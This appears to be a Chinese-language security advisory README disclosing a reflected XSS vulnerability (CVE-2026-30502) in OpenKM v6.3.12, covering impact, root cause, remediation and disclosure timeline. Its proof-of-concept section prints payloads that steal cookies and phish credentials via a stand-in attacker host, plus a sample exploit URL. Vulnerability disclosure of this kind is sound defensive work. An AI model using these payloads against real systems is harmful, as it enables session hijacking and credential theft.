本仓库记录了 CVE-2026-30502 的负责任披露流程,这是 OpenKM v6.3.12 中发现的一个**反射型跨站脚本(XSS)**漏洞——OpenKM 是一款广泛部署于企业和政府环境中的开源文档管理系统。
该漏洞存在于 Content 参数中,该参数将用户提供的输入在未经适当清洗或输出编码的情况下直接反射回浏览器。攻击者可以构造包含嵌入 JavaScript 的恶意 URL,并通过社会工程学诱导受害者点击,从而在受害者的浏览器会话中执行脚本。
⚠️ 严重性: 中高 | 攻击向量: 网络 | 所需权限: 无 | 用户交互: 需要
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-30502 |
| 产品 | OpenKM |
| 受影响版本 | v6.3.12 |
| 漏洞类型 | 反射型跨站脚本(XSS) |
| 受影响参数 | Content |
| CWE | CWE-79:网页生成期间输入未恰当中和 |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| 严重性 | 中高 |
| 发布方 | MITRE CVE 计划 |
| 研究员 | Dharmendra Kumar |
| 披露类型 | 负责任 / 协调披露 |
OpenKM 是一款免费开源的文档管理系统(DMS),提供用于管理、审计和分发业务文档的 Web 界面。全球范围内的企业、政府机构和教育机构都在使用它。
v6.3.12在 OpenKM v6.3.12 中通过 Content 参数发现了一个**反射型跨站脚本(XSS)**漏洞。该应用在将用户提供的输入反射回 HTTP 响应体之前,未能对其进行验证或编码,从而允许注入任意 JavaScript 并在受害者浏览器中执行。
与存储型 XSS 不同,反射型 XSS 的载荷不会持久化到数据库中,而是隐藏在精心构造的 URL 中。该攻击依赖于诱导受害者点击恶意链接(通过电子邮件、社交媒体或钓鱼活动传播),此后载荷会在受害者的浏览器中以其会话上下文静默执行。
Attacker crafts malicious URL
│
▼
Victim clicks the link (phishing / social engineering)
│
▼
Browser sends GET/POST request with payload in `Content` parameter
│
▼
OpenKM reflects unsanitized input directly into HTML response
│
▼
Browser parses & executes injected JavaScript
│
▼
Session hijacked / credentials harvested / account compromised
该漏洞源于应用未能在 Content 参数上实施输入输出安全控制:
| 弱点 | 描述 |
|---|---|
| ❌ 无输入验证 | Content 参数不受限制或过滤地接受原始 HTML/JavaScript 字符 |
| ❌ 无输出编码 | 反射值在未进行 HTML 实体编码的情况下写入 HTML 响应 |
| ❌ 缺少 CSP 响应头 | 未强制实施内容安全策略(CSP)来阻止内联脚本执行 |
| ❌ 未设置 HTTPOnly Cookie | 会话令牌可通过 JavaScript 访问,导致可直接窃取 Cookie |
User-Crafted URL ──► Content Parameter ──► [NO Validation]
──► Reflected in HTML Response ──► [NO Encoding]
──► Browser Executes Script ──► Account Compromised
成功利用此漏洞可能导致:
| 风险 | 描述 |
|---|---|
| 🍪 会话劫持 | 通过 document.cookie 窃取活动会话令牌以冒充受害者 |
| 🔑 凭证窃取 | 注入伪造的登录覆盖层以捕获明文用户名和密码 |
| 📤 信息泄露 | 窃取敏感文档内容、用户数据或内部配置 |
| 🎣 钓鱼攻击 | 在受信任的 OpenKM 域名内托管以假乱真的伪造页面 |
| 👤 账户接管 | 以受害者身份执行任意已认证操作 |
| ⚙️ 未授权操作 | 修改、删除或窃取 DMS 中的文档 |
| 🖥️ 恶意软件分发 | 将受害者重定向到托管恶意下载的攻击者控制站点 |
⚠️ 免责声明: 以下信息严格基于负责任披露原则,仅供教育和安全研究目的分享。请勿针对您不拥有或未经明确书面授权评估的系统进行测试或使用。
// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Credential phishing overlay
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Username"/>'
+'<input name="p" type="password" placeholder="Password"/>'
+'<button>Sign In</button></form>';
document.body.prepend(d);
</script>
https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>
Content 参数的受影响端点Content 参数的 URL| 建议 | 实施方案 |
|---|---|
| ✅ 输入验证 | 拒绝或剥离所有用户可控参数中的 HTML 特殊字符(<、>、"、'、;) |
| ✅ 输出编码 | 在渲染反射数据之前,使用 OWASP Java Encoder 等库应用上下文感知的 HTML 编码 |
| ✅ 内容安全策略 | 部署严格的内容安全策略响应头:Content-Security-Policy: default-src 'self'; script-src 'self' |
| ✅ HTTPOnly Cookie | 在所有会话 Cookie 上设置 HttpOnly 和 Secure 标志以阻止 JavaScript 访问 |
| ✅ 安全库 | 集成 OWASP AntiSamy 或 DOMPurify 以实现强健的清洗 |
| ✅ 升级 | 立即应用厂商发布的最新安全补丁 |
| 日期 | 事件 |
|---|---|
| 🔍 发现 | 在 OpenKM v6.3.12 安全评估期间发现该漏洞 |
| 📧 通知厂商 | 向 OpenKM 安全团队提交负责任披露报告 |
| 🤝 厂商确认 | OpenKM 团队确认了漏洞报告 |
| 📝 CVE 分配 | 通过 MITRE CVE 计划分配 CVE-2026-30502 |
| 🌐 公开披露 | 在修复期之后进行协调公开披露 |
整个过程遵循了完整的负责任披露原则,包括在任何公开发布之前与厂商协调并联系 CVE 计划。
安全研究员 | 渗透测试员 | 漏洞猎人 | CVE 贡献者
Dharmendra Kumar 是一位独立网络安全研究员,专攻 Web 应用安全、渗透测试和负责任漏洞披露。他的研究专注于识别并负责任地报告广泛使用软件中的真实安全缺陷——为全球用户打造更安全的应用程序。
专业领域:
联系我:
本仓库仅用于教育和信息目的。漏洞详情和概念验证载荷均按照负责任披露原则发布。作者不宽恕也不对任何未经授权使用此信息的行为承担责任。在对您不拥有的任何系统进行安全测试之前,务必获得明确的书面许可。
特别感谢:
⭐ 如果这项研究对您有帮助,请考虑为本仓库点个星标。
公开分享安全研究,让网络对每个人都更安全。
© 2026 Dharmendra Kumar — 版权所有